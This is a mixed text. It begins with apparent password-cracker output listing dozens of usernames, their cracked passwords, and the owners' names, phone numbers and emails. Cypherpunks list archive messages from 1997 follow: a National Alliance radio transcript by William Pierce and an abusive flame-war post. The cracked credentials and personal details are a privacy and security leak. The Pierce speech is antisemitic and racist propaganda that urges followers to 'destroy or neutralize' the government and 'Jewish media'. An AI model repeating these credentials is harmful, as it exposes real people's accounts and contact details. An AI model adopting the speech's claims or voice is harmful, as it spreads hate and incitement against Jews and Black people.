Guessed free800 [free800 [JOSHUA]]  Barry Disney,Network Marketing Group Inc.,513-961-6022, [etc_passwd.fixed /bin/tcsh]
Guessed bdbem [bdbem [ANNIE]]  Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh]
Guessed tpn1996 [tpn1996 [TALONS]]  Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh]
Guessed rdlpinfo [rdlpinfo [PARKER]]  Peter Vaglica,,,tlpc@gte.net [etc_passwd.fixed /bin/tcsh]
Guessed healthwealth [healthwealth [JESUS]]  Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh]
Guessed eleven [eleven [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed infosales1 [infosales1 [BEAR]]  Steve Crockett,,904-857-7717,infosales1@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed secrets [secrets [PICKUP]]  Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh]
Guessed marketinfo [marketinfo [PARKER]]  Peter Vaglica,,,tlpc@gte.net [etc_passwd.fixed /bin/tcsh]
Guessed kangaroo [kangaroo [LYDIA]]  Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh]
Guessed wealth [wealth [KELLY]]  Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh]
Guessed difaznet [difaznet [GORDO]]  Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh]
Guessed bizopp [bizopp [ALBERTA]]  Ted Benedict,,, [etc_passwd.fixed /bin/tcsh]
Guessed offshore1 [offshore1 [JAMAICA]]  Denise Cook,Marketing Ect Trust,602-979-4844,dicook@sisna.com [etc_passwd.fixed /bin/tcsh]
Guessed diet30 [diet30 [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed sales [sales [CARRIER]]  Brad Konia,,610-437-1000,brad@fastcolor.com [etc_passwd.fixed /bin/tcsh]
Guessed blessdlife [blessdlife [SUNSHINE]]  Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed jeps317 [jeps317 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed souvenirs [souvenirs [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed sjs [sjs [ALBERTA]]  Steven Spohn,,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed winwes [winwes [ANKLES]]  Doug Sutton,,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed mattkenn [mattkenn [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed yknott [yknott [TRICKY]]  Rick Brittain,,,rick@y-knott.com [etc_passwd.fixed /bin/tcsh]
Guessed psolutions [psolutions [STEPHANU]]  John Miner,Prime Solutions,818-752-2058, [etc_passwd.fixed /bin/tcsh]
Guessed go2zero [go2zero [MEREDITH]]  Alan Dechart,,503-626-6269, [etc_passwd.fixed /bin/tcsh]
Guessed oppty [oppty [MCVEY]]  Bryan Johnson,,614-888-2007, [etc_passwd.fixed /bin/tcsh]
Guessed dorita [dorita [ZAPATA]]  Quentin R. Hopper / Dora E. Martinez,Ouachita's Online Network,210-681-0256, [etc_passwd.fixed /bin/tcsh]
Guessed bravonfo [bravonfo [PHONECAR]]  Chuck Hatcher,,972-466-3723,ck3723@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed amnat2 [amnat2 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed dpomanual [dpomanual [PASSWORD]]  Erika Thompson,L.J. Howard & Assoc.,909-683-1121,akiredanee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed perfectcel [perfectcel [OCCASION]]  Paul Herbst,,516-475-6831, [etc_passwd.fixed /bin/tcsh]
Guessed emergroup [emergroup [GARFIELD]]  Liesl Peterson,Emerald Group,507-345-3730, [etc_passwd.fixed /bin/tcsh]
Guessed internet4u [emergroup [GARFIELD]]  Donald Goss,,908-396-1438, [etc_passwd.fixed /bin/tcsh]
Guessed freeadds [freeadds [BATMAN]]  Bill Guting,,916-393-2334,awt@cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed powernet [powernet [ZAINAB]]  Omer Shommo,,312 247-9051, [etc_passwd.fixed /bin/tcsh]
Guessed capsinfo [capsinfo [CELEBORN]]  Dan Roady,Caps,707-545-5944, [etc_passwd.fixed /bin/tcsh]
Guessed monoi4you [monoi4you [TAHITI]]  Laurent Hercy,Monoi Cosmetic,310-450-0145, [etc_passwd.fixed /bin/tcsh]
Guessed choice [choice [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed powerfulu [powerfulu [LAGER]]  Margaretha Murphy,MSM Communications,212-249-8244,mmcom77@mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed sunsetpub [sunsetpub [CESSNA]]  John Fraine,,941-732-1872,hirate@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed max [max [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dsconcepts [dsconcepts [DOLLARS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed infoforme [infoforme [BBALL]]  Dan Ellenwood,,864-862-0298, [etc_passwd.fixed /bin/tcsh]
Guessed ansinfo [ansinfo [VACATION]]  Adam Sciuto,ANS Enterprises,609-646-6933, [etc_passwd.fixed /bin/tcsh]
Guessed choice2 [choice2 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed intervest [choice2 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed tpn [tpn [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed howto [howto [MELODY]]  Michael Piompino,,908-493-3808,m1112m@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed specsit [specsit [SITUATIO]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed green [green [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed pixel [pixel [GRAYSON]]  Scott Thede,Forward Design,612-702-0811, [etc_passwd.fixed /bin/tcsh]
Guessed cstone [cstone [CORNERST]]  John McKenna,,409-687-2308, [etc_passwd.fixed /bin/tcsh]
Guessed travelbiz [travelbiz [CANADA]]  Thomas Cox,954-925-8132,dodger3@laker.net,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed ezine [ezine [RUSSELL]]  Jim Daniels,,401 231-9665, [etc_passwd.fixed /bin/tcsh]
Guessed freead [freead [RUGBY]]  Jim Carlberg,Rugby America,217-793-7275, [etc_passwd.fixed /bin/tcsh]
Guessed free1996 [free1996 [JESSICA]]  Lyle Larson,,206-865-9000, [etc_passwd.fixed /bin/tcsh]
Guessed information [information [GIBBERIS]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed makemoney1 [makemoney1 [EBONY]]  Kymberlie Varriano,,206-322-2074,songbird55@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed homeall [homeall [GABRIEL]]  Virgilio Gonzales,,619-744-0719, [etc_passwd.fixed /bin/tcsh]
Guessed bewell [bewell [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed jbdjerseys [jbdjerseys [CHUNDER]]  John Paskoff,JBD Jerseys,516-799-6660, [etc_passwd.fixed /bin/tcsh]
Guessed carolmc [carolmc [BIRDS]]  Carol Cyr,C + C Specialty Products,417-345-6002, [etc_passwd.fixed /bin/tcsh]
Guessed cliftyfarm [cliftyfarm [BARTON]]  Tommy Thompson,,901-642-1495, [etc_passwd.fixed /bin/tcsh]
Guessed pre [pre [MONEYMAK]]  Ryan Edwards,,301-596-0498,launchepub@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed bdywise [bdywise [DRAKES]]  Greg Olson,Olson & Associates,308-237-3000, [etc_passwd.fixed /bin/tcsh]
Guessed kaboom [kaboom [CHICLET]]  Alan Lange,,800-864-8444, [etc_passwd.fixed /bin/tcsh]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: vincent@dreamon.com (The Bok)
Date: Sat, 22 Mar 1997 21:06:43 -0800 (PST)
To: vincent@dreamon.com
Subject: ADV Weekly Transcripts
Message-ID: <3334BAAB.97B@dreamon.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

If you would like to unsubscribe to this service, please e-mail
vincent@dreamon.com. For more information visit the National Alliance
web site at http://www.natall.com. For patriotic books, tapes and
videos, visit National Vanguard Books Online Catalog at
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------
American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

The Big Picture 

A Bare-Bones Outline of Our Present Predicament 

by Dr. William Pierce
Chairman, National Alliance 
 

What's the most important thing in your life? 

Is it making as much money as possible? 

Is it getting along with other people and being popular? 

Is it security? Is it happiness? 

Well, of course, most of us would like to have financial security, and
we would like to be happy. But for some of us there's something more
important than security and personal happiness. I'm addressing now the
more serious-minded listeners, the ones who are capable of understanding
things like duty and responsibility. 

Duty and responsibility: those are almost bad words these days --
definitely not fashionable. We've been conditioned by the media to be
suspicious of people who talk about such things. This is the feel-good
generation, the MTV generation. But really, we know that more important
than feeling good is doing good, doing right. The most important thing
for us is using our lives in the right way. The most important thing is
having the right purpose and serving that purpose effectively. 

We need to look beyond our bank accounts and our personal hobbies and
our immediate circle of friends in order to find purpose. We need to see
ourselves set in a larger context. We need to understand how our own
lives are important as a part of the world around us: not just the world
of here and now, but also the world of the future and the world of the
past. We need to see our own lives as a part of the historical process. 

When we do this, when we see ourselves in context, then we begin to
understand our responsibility, our purpose. We begin to understand
what's really important in our lives. We see that we have a
responsibility to the people who came before us and made it possible for
us to live, the people whose genius and work and sacrifice built our
world for us, built our civilization for us, gave us our culture. We
have a responsibility to ensure that their toil and sacrifice were not
in vain. 

And we have a responsibility to the people who will come after us, a
responsibility to all the future generations of our people. We must
ensure that what we have inherited from our ancestors will be preserved
and enhanced and strengthened by us and passed on to those who will
follow us. 

This is the most important thing in our lives: understanding this
purpose, accepting this responsibility. At least, it is the most
important thing for those of us who are serious about our lives, those
of us who have not become corrupted and trivialized by
watching too much MTV. 

So we need to be concerned about what's happening to our world today. We
need to become involved in it. We need to accept responsibility for it.
That's the whole reason for Free Speech and American Dissident Voices.
It's to help with understanding what's happening, and it's to provide a
little push, a little inspiration, to get you involved. 

In past broadcasts I've talked about many specific aspects of what we
need to be concerned about. I've talked about specific threats to our
world. I've talked about the breakdown of our system of justice, and
I've given you specific examples: the acquittal of O.J. Simpson after he
murdered two people, and the $43 million verdict against Bernard Goetz
for defending himself against Black muggers. I've talked about the lies
and the hypocrisy of the government in Washington. I've talked
about the government's ruinous trade policy. I've talked about the
Jewish monopoly control of the news and entertainment media in America
and the destructive way in which that control is used. I've talked to
you about the movement to get rid of our Bill of Rights, the movement to
scrap the First and Second Amendments, the movement to make it illegal
for us to write or say anything which is not Politically Correct, and to
take away our means to defend our rights against those who want to
abolish them. 

And all of these things are important. We must look at details, we must
look at specifics, if we are to understand what to do. Today, though,
I'd like to look at the big picture. I want to talk to you about what
has happened to us, and why, and what we must do about it. 

First, let's back off a bit, so that we can see the picture more
clearly. Three hundred years ago, when nearly all of our ancestors were
still in Europe, we had a pretty good grip on things. We were involved
in the historical process. We had a feeling for our past and a sense of
responsibility to the future. No one was telling us that it was wicked
or racist or anti-Semitic or hateful to want to ensure a better world
for our descendants. That was because we still had our wits about us,
more or less, and we did not let anyone into our midst whose aim was to
weaken us and destroy us. We had no MTV. We were all Whites; we were all
Europeans. We had no slaves, no non-Whites among us. We kept the Jews in
their ghettos and very tightly circumscribed their activities. It was
just us. We had common roots and a common concern for the future. 

Now, I'm oversimplifying things a bit to make my point, of course.
Europeans did have disagreements among themselves. We did have wars from
time to time. We did mistreat each other. But it was just us. It was all
in the family. We had no aliens among us exercising influence over us
and hating us and planning our destruction. Our books and our journals
were written by us and were published by us. There was no Jew-controlled
television. Our young people were taught in our schools and our
universities by us, not by clever aliens attempting to corrupt and
subvert. 

And among ourselves -- just us -- we were building a great civilization.
In the 18th and 19th centuries we created a world of science and music
and literature and painting which greatly surpassed anything which had
come before. And we spread our dominion over the earth. Wherever we went
we conquered: in the Middle East and India, in the Far East -- and in
the West, in the New World. We were proud and self-confident. We knew
who we were. We were White. We were European. We did not mix with those
who were not European. When we needed land for our people, we took it.
If anyone raised his hand against us, we struck him down. And thus we
built America. And it was a strong and good and progressive nation, a
White nation. 

We did make mistakes during the past 300 years, though. In America we
brought in Black slaves to work the land in the South, and we brought in
Chinese coolies to work as laborers in the West. We kept ourselves
separate from these non-White slaves and servants, but bringing them
into our living space laid the groundwork for our present disaster. 

In France and elsewhere in Europe, we let ourselves be hypnotized by
false propaganda about equality. We are all equal, all the same, this
propaganda said, and we all should mix and be brothers, and no man
should have more than another. So we let the Jews out of their ghettoes
and we let them become citizens of European countries. They repaid us by
corrupting our music and our literature and by subverting every European
institution. One of them, a Jew named Marx, launched Communism, which
eventually enslaved half of our world and murdered tens of millions of
our people, often the best elements among our people. The brightest and
most energetic and most successful of our people were butchered by the
tens of millions by the Communists in Europe. 

In America they were not able to succeed with Communism, but they
infiltrated and took over our mass media of news and entertainment: our
films, radio, television, book publishing, and major newspapers. And
with these media they pushed the false propaganda of liberalism: We are
all equal, they said, Black and White and Chinaman and Jew, all the same
-- except that you Whites have the stain of guilt on you for having
thought yourselves better than the rest of us, and now you must make
it up to us for having mistreated us in the past. 

And with this propaganda they wormed their way into our educational
establishment, into our government, into all of our institutions. And
because they controlled so many of the media, there was hardly a voice
of opposition, hardly a voice of sanity and reason to be heard in
opposition to their propaganda, and they were able to corrupt the minds
of millions of young Americans. They were able to instill feelings of
racial guilt and racial self-hatred into two generations of young White
people. 

And with their growing influence they were able to open America's
borders to the non-White world, and they were able to force racial
integration on our schools, our work places, our neighborhoods. They
replaced our European music with jazz and rock and rap. They introduced
what they fondly call "modernism" into art and literature, replacing our
culture with a Judaized trash culture. They overturned the laws against
miscegenation. They persuaded the leaders of the Christian churches to
join their revolution against the White world. They turned our
government into a cesspool, occupied by people like Bill and Hillary
Clinton. 

And so here we are today, at the end of the 20th century, facing the
prospect of becoming a minority in our own country before the middle of
the next century, and so paralyzed by fear and guilt and self-hatred
that while some of us look forward eagerly to our self-extinction most
of the rest of us refuse to do anything to avert it. 

Quite a mess! 

Now, I have greatly oversimplified the picture, just so that we could
grasp the most important features. I have not mentioned the minority of
Jews who never engaged in or supported the subversive activities of the
majority of Jews. I have not talked about all of the criminals among our
own people, besides the Clintons, who have collaborated with the Jews.
Those are details which are important, and I have discussed those
details in other broadcasts. But right now we want to grasp just the
coarsest features of our predicament. We want to understand, in a very
rough simple way, what our situation is and what we must do about it.
I'll spell out these rough and simple features: 

First, America has been transformed from a White country before the
Second World War, a White country in which the 10% non-White portion of
the population was strictly segregated from the White population, into a
multiracial morass today. The non-White population in America is
increasing so rapidly that it will constitute a majority, and we will be
a minority, within the next 50 years. 

Second, America's government is deliberately and forcefully implementing
this racial transformation. The government, an institution which our
ancestors created to be the guardian of our welfare, has become the
deadliest enemy of our people. It is deliberate government policy which
is responsible for the flood of non-White immigrants, both legal and
illegal, now pouring across our borders. It is deliberate government
policy which feeds and houses and encourages the breeding of the huge
and growing non-White underclass in our cities. It is deliberate
government policy which mixes the non-White population with the
White population and encourages miscegenation. 

Third, most of the White population in America is collaborating in its
own destruction, partly from ignorance, partly from fear, but mostly
from a blind, animalistic urge to conform to perceived norms of public
opinion. 

Fourth, the mass media of news and entertainment provide the guiding
spirit for White America's rush to self-destruction, and those media are
largely in the hands of the Jewish minority. The controlled media, with
virtual unanimity, push the party line of egalitarianism and
multiculturalism and racial mixing. The controlled media, with virtual
unanimity, push the party line of feminism and of toleration for
homosexuality and of White "guilt" for supposed historic wrongs to
non-Whites. The media, by influencing the attitudes and opinions of most
voters, wield the power which determines which politicians get elected
to public office in America. The media -- especially the media of film
and television -- have done more than any other institution to degrade
the cultural and moral level of our people. And the people who wield the
media as a weapon against us are Jews. 

That's our situation today, in very rough outline. And, of course, I've
left out a thousand details and refinements and qualifications. I've not
talked about the destructive, anti-White doctrines of many of the
Christian churches. I've not mentioned the slavishly pro-Jewish and
anti-White policies of many powerful White politicians, such as Edward
Kennedy, Bill Clinton, and Robert Dole. I've ignored economics
altogether. I've not said anything about the destructive effects of the
government's trade policy. I've not explored the Jews' motivation for
what they're doing. 

I've just pointed out four basic facts: first, America is being
transformed very rapidly from a White country to a non-White country;
second, the government is deliberately implementing this transformation;
third, most of the White population is not resisting the transformation;
and fourth, the mass media, controlled by the Jews, are providing the
driving force for it all. 

What this means to those of us who feel some sense of responsibility to
our ancestors and to our posterity is that our people are being faced
with the greatest threat ever, with the threat of extinction, and that
we must do whatever we can to avert this threat. 

And what we must do -- again in the very roughest and crudest terms --
is, first, destroy or neutralize the two hostile forces which are
leading us to our destruction - namely, the government and the
Jew-controlled media; and second, start our badly corrupted and misled
people back on the road to duty and responsibility. 

I'm leaving out many important details, of course. I haven't even
mentioned how we are to deal with the Blacks in our midst, for example.
But that is a detail we know that we can handle, once we have taken care
of the government and the Jewish media and begun curing our own people
of their present sickness. 

So, we know roughly what our problem is and roughly what we must do
about it. Now we must get back to the details, because that's the only
way we can make plans and execute them. But seeing the big picture is
important in making plans, because it sets the boundaries for us. Once
we understand the urgency of our situation, once we understand the
finality of the fate designed for us by our enemies, we know that we
must either conquer or die. If we do not defeat those who intend to
destroy us, and defeat them soon, then our people will perish forever.
What this means for us is that no matter how small our likelihood for
success, we must act. No matter how desperate the gamble, we must take
it. We must not fail to act. We must not do nothing, simply because no
plan seems certain of success. No loss as a consequence of acting can be
greater than the loss from failing to act. If we are responsible adults,
if we are honorable adults, then we must act. There is no acceptable
excuse for not acting -- not family obligations, not personal security,
not career considerations -- no excuse. If we do not act, then
everything will be lost, every reason for living, every reason for which
our ancestors lived and worked and sacrificed and suffered and died. The
deadly filth of Jewish liberalism will spread over our entire race and
destroy it -- irrevocably, forever. 

I promised you details, and now I'm running out of time. But here's one
detail: no matter what else we do, our first move must be to alert all
of our people to the situation I have outlined today. That's the first
step: education. Education alone is not enough, of course, but it is
necessary. 

Many people will not want to be educated. They will be afraid to listen
to anything which is not Politically Correct. They will hate us when we
try to educate them. They will go back to their MTV. But for every fool
filled with hate and fear who will not listen, we will find a person who
already has an understanding of the things I have said today and who
only needs to hear us say them in order to gain enough confidence to
know that his understanding is correct. And we will find other people
who have not yet achieved understanding but whose hearts and minds are
open, and who can accept the truth when it is presented to them. 

And so that is our immediate task: yours as well as mine. We must reach
out to our people. We must alert them. We must educate them. We must
encourage them. We must inspire them. 

And here's a beautiful, wonderful thing: when you reach out to other
people to encourage them and inspire them, you yourself will be
encouraged and inspired. When you find out how many other people there
are who share our concerns, our feelings, our values, our sense of
responsibility, you cannot help but be encouraged. 

Even the hatred that you encounter from some people -- especially from
people in the controlled media -- will be encouraging. For you will
understand that they would not hate us so much if they did not fear us.
And the reason that they fear us is that deep inside them they know that
what we say is true. 

So let's get out there -- all of us -- and start looking for
encouragement! 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Mar 1997 05:48:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cocksucker John Gilmore and his mouthpiece Rich Graves exposed as liars
Message-ID: <g8B14D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I'll quote without comment an article from the alt.cypherpunks newsgroup.

]Path: ...!bloom-beacon.mit.edu!senator-bedfellow.mit.edu!sethf
]From: sethf@athena.mit.edu (Seth Finkelstein)
]Newsgroups: comp.org.eff.talk,alt.censorship,alt.cypherpunks
]Subject: The flames from the (gG)raves
]Date: 22 Mar 1997 03:12:09 GMT
]Organization: Massachvsetts Institvte of Technology
]Lines: 269
]Distribution: inet
]Message-ID: <5gvim9$9d8@senator-bedfellow.MIT.EDU>
]References: <5gkfag$36o@quixote.stanford.edu> <5gmnuj$1ha@senator-bedfellow.MIT.EDU> <m0w7HEz-00022AC@quixote.stanford.edu> <5gqfpk$ate@senator-bedfellow.MIT.EDU> <5gv2kg$lc5@quixote.stanford.edu>
]Reply-To: sethf@mit.edu
]NNTP-Posting-Host: frumious-bandersnatch.mit.edu
]
]
]In article <5gv2kg$lc5@quixote.stanford.edu>, Rich Graves <rcgraves@disposable.com>
]>Warning: The Happynet Unofficial Anti-Censorship Committee has determined
]>the following post to be inappropriate for children and fight-censorship
]>subscribers. Only Seth Finkelstein has been empowered to speak the whole
]>truth by the anti-censorship review board. Please enter the following into
]>your killfile:
]
]	Rich is getting nuttier and nuttier. This is not
]unexpected. His pattern is to get more and more slimy as you argue
]with him. Note that the fact that he argues with people who are
]themselves very vile people, Holocaust-deniers, does not change the
]demonstrated truth of this statement. This is again why many people
]end up just ignoring him completely and not wanting to read anything
]from him.
]
]>Seth is nothing if not a reasonable unbiased observer. Trust him. Please.
]
]	And I've noted many a time, my qualification is I-was-there.
]I have, however, repeatedly tried to resolve this dispute and read all
]your articles (aggravating though it is almost all of the time). That
]should be worth something.
]
]>No, I mean it. From articles <5ghg1t$7j4$5@nntp2.ba.best.com> and
]><5ghg1n$7j4$4@nntp2.ba.best.com>, just to be sure I guess:
]>
]>|Rich, have you ever wondered why so many diverse people, with wildly
]>|diverse political views, have accused you of being a left or center
]>|fascist or a commie sympathiser.
]>|
]>|And no, the, fact that you have been accused of being a commie symp is
]>|not evidence that those who called you a fascist were wrong, and vice
]>|versa.  The various political positions you have been accused of, tend
]>|to be hard to distinguish in practice.
]
]	I suspect this is some sort of a trap, but, noting that I am
]walking into this with my eyes open and aware of it: Rich has lied
]here, and in all the referenced quotes below. They are not from me,
]but someone else. By this tactic, he hopes to imply that if I call him
]a liar, and someone else (say a Holocaust-denier) does the same thing,
]both are equally valid. It is exactly the trick I just detailed a
]posting or two ago, imposing moral equivalence on his critics.
]	But note, he did not have to lie in the above to do this
]rhetorical tactic. He could have tried to pull it off by contrasting
]similar-sounding, but correctly-attributed, quotes. But he did not, he
]lied repeatedly. There is no way this sort of thing can be explained
]by benefit of the doubt or a human error or believing separate
]reports. It is a malicious and knowing fabrication. By the standards
]Rich espouses (for other people ...)  this should condemn him for all
]eternity.
]
]>And article <5gi741$cbp$1@nntp2.ba.best.com>:
]>
]>|Another example of your disturbing affection for state informers and
]>|government goons with guns.
]>[...]
]>|I have no idea what these claims are, but I confidently believe a
]>|couple of things about you that you have forcefully denied.
]
]	Didn't write that. I don't care what Rich thinks about guns,
]though I wonder if he should be in one of the groups which should
]certainly be denied them (... history of mental illness).
]
]>And article <5gmff0$109$4@nntp2.ba.best.com>:
]>
]>|You are a habitual liar, an apologist for state repression, and a
]>|loon.
]
]	Didn't write that. I don't know about "habitual", but I suppose
]it's arguable. I don't care about Rich's politics. Loon, DEFINITELY!
]
]>And <5gqbd5$rkm$2@nntp2.ba.best.com>:
]>
]>|You piously declare you are on the side of the angels, while
]>|systematically circulating lies that hurt us and benefit the enemy.
]
]	Didn't write it, but I could have :-). But the trick there is
]that "the enemy" could mean in the writer's mind "The Jewish Conspiracy",
]but in my mind "Sensation-Mongering Journalists". The two statements
]then may *sound* alike, but actually be completely different.
]
]>And <5gu8v6$nf$2@nntp2.ba.best.com>:
]>
]>|Rich regularly circulates "facts" that are systematically off base in
]>|ways that legitimize and justify the lawless acts of governments and
]>|which denigrate peoples rights.
]
]	Didn't write it, again, I very rarely deal with Rich's
]general beliefs about government. I get far too much of him as it is.
]
]>|When called on these he then piously whines how much in favor of
]>|liberty he is.
]>|
]>|He is damned statist liar.
]
]	Didn't write it, wouldn't say "statist liar". Of course, this
]repeated tactic of misattribution and the broader trick will speak for itself.
]
]>And <5gu8i6$nf$1@nntp2.ba.best.com>:
]>
]>|Oh aren't you wonderful
]>|
]>|You talk the talk but you do not walk the walk.
]>|
]>|You are not on Phil Zimmerman's side.  You are on the side of the
]>|feds.
]
]	Nowadays, I don't think Rich has any side except his own. He
]strikes me as dangerously unstable. Luckily, he only explodes in whining
]rants - so far.
]
]>Please read no further. This is your last warning.
]>
]>OK, I lied. I do that habitually, don't you know. THIS is your last
]>warning.
]
]	Doesn't make it right. Most of the time, you slant and ignore
]contrary evidence. That hasn't worked for you in this thread, so now
]you've escalated. One might also point to the absurdity of posting
]long vitriolic articles and saying "don't read this". It's part of a
]pattern of doing something nasty and vicious and vile, and then
]denying that you're actually doing it.
]
]
]>In article <5gqfpk$ate@senator-bedfellow.MIT.EDU>,
]>Seth Finkelstein <sethf@mit.edu> wrote:
]>>       This is so ironic given your venom-filled postings. Yes, I am
]>>flaming you back. It's not nearly as fun when the target is defending
]>>themselves, is it? You just can't get away with the mud without consequences.
]>
]>Seth, you weren't the target, though for what you've done with your
]>miscarried "Justice on Campus," you should be. Since you insist, I'll
]>remedy that lack below.
]
]	Umm, you've flamed a lot of people in this thread. And Justice
]on Campus has a lot of contributors, I can't take all credit or blame
]for every part it. I've had a heavy role in some parts of it, and
]deferred in other pieces.
]
]>>>Seth, go to www.dejanews.com. Note that a thread under this title began on
]>>>March 1st. Note that it was a reasonable and civil reply to John Wallace's
]>>>reasonable and civil reply to me. Note that there were several reasonable
]>>>and civil followups. Note that the current topic of this thread did not
]>>>start until March 13th.  Note when you arrived, when the content-free
]>>>flames started, and how I broke off a more reasonable subthread to get
]>> ^^^^^^^^^^^^^^
]>>
]>>       Wrong. Note that you smeared everyone around in article
]>>id <5g9sin$g5p@quixote.stanford.edu>, that's what started the flame war.
]>
]>Yes, the date on that article is March 13th. There were nine articles in
]>the thread prior to that one. The first post to the thread was March 1st,
]>following up to John Wallace's citation of my name on the so-called
]>fight-censorship list in late February. I was unable to respond to the
]>invocation of my name on the fight-censorship list, so I posted the
]>article here, on March 1st.
]
]	Consider the phrase "Note when you arrived, when the
]content-free flames started ...". I arrived *after* you started the
]flamewar, and your mudfest is what began it. You spit in the thread,
]don't complain it now tastes bad.
]
]>>       This is the sort of rewriting of history Rich does. He posts some
]>>nasty, provocative flames. When people flame him back, he acts so hurt,
]>>and edits out his part in his retelling, playing the wounded innocent.
]>
]>This is, of course, the unalloyed truth.
]
]	We see it demonstrated over and over again. Look at your rewriting
]above.
]
]>>>>     Donna Riley and Jean DeCamp shouldn't be touched with a
]>>>>10-foot polemic. I met Jean once. The woman couldn't stop berating me
]>>>
]>>>She should have, with the smear campaign you continue to run against her,
]>>
]>>       Her own words condemn her. She'd like to run away from them,
]>>but she can't.
]>
]>I see. How good of you to post selected quotes prominently on the web for
]>more than two years, especially the ones that explicitly read "This is
]>private email" and "Please consider this paragraph confidential."
]>http://joc.mit.edu/footnotes/c3-ljc.txt
]
]	Wrong. All the material is there, has been from early on. Read
]the whole thing, http://joc.mit.edu/charges.html#3 , especially
]http://joc.mit.edu/docs/camp.brief.txt .
]	In fact, I think my first tussle with her was explaining why
]she was utterly wrong to allege "libelous" in that case, a mistake you
]repeated, but you should know better.
]
]>Justice on Campus.
]
]	Take your complaint to all the papers and magazines printing
]Timothy McVay's "confession?" now.
]
]>>>But she didn't take a swing at you, did she? I can only think of one
]>>>person mentioned in this thread who was arrested and convicted for taking
]>>>swings at someone he was living with. "Justice on Campus" they call the
]>>
]>>       Actually, said person was falsely and maliciously accused by
]>>the ex- who has a history of making far-out accusation, on the eve of
]>>their relationship breakup, and couldn't afford to fight it all the
]>>way through (for years?). But talk about one-sided, Rich wouldn't tell
]>>you any of that.
]>
]>Right. I haven't posted the URL for the police report, which mentions
]>third parties Yang and Gardy calling the police when they heard the
]
]	Nor have you mentioned it's hosted by the same person who made
]bogus harassment charges against JOC and me, which where completely
]false and malicious, and has an amazing history of prevarication.
]
]>some concern for personal privacy. I will merely say that in my personal
]>opinion, you are a disgusting individual for allowing yourself to be so used.
]
]	I love you too.
]
]>If you don't think a reasonable and prudent person would read the
]>police report or judgement this way, then by all means, post the URL on
]>"Justice" on Campus. You consider it your duty to post selected personal
]>email between third parties; why not public record?
]
]	I personally believe there's something wrong with it, because
]it's hosted by the very same guy who tried to get JOC and me in trouble
]with manufactured malicious charges. See   http://joc.mit.edu/attack.html
]	If I were dealing with it, I'd put *everything* up in defense,
]but again, I understand at a human level the reaction not to wallow
]though the mud of an angry ex-'s accusations.
]
]>>       You're very mixed up. Bogus harassment charges were filed
]>>against *me*, and it gave me a very good view of CMU-style politics.
]>>They use harassment charges and threats as standard weapons down there.
]>
]>I see. Again, this is the unalloyed truth. "Justice on Campus."
]
]	Rich, exactly what part do you doubt? That charges were made?
]That's never been denied by anyone involved. That they were phony?
]Well, given that I was hundreds of miles away, and I don't think I
]ever sent the guy e-mail, it's hard to make an argument (unless you
]consider Usenet flaming to be sufficient, which I would really advise
]you not to do). So yes, that's the unalloyed truth.
]
]>>>Yes. Two simple wording changes. Please change the name of the list to
]>>>"fight" and change the word "unmoderated" to "moderated."
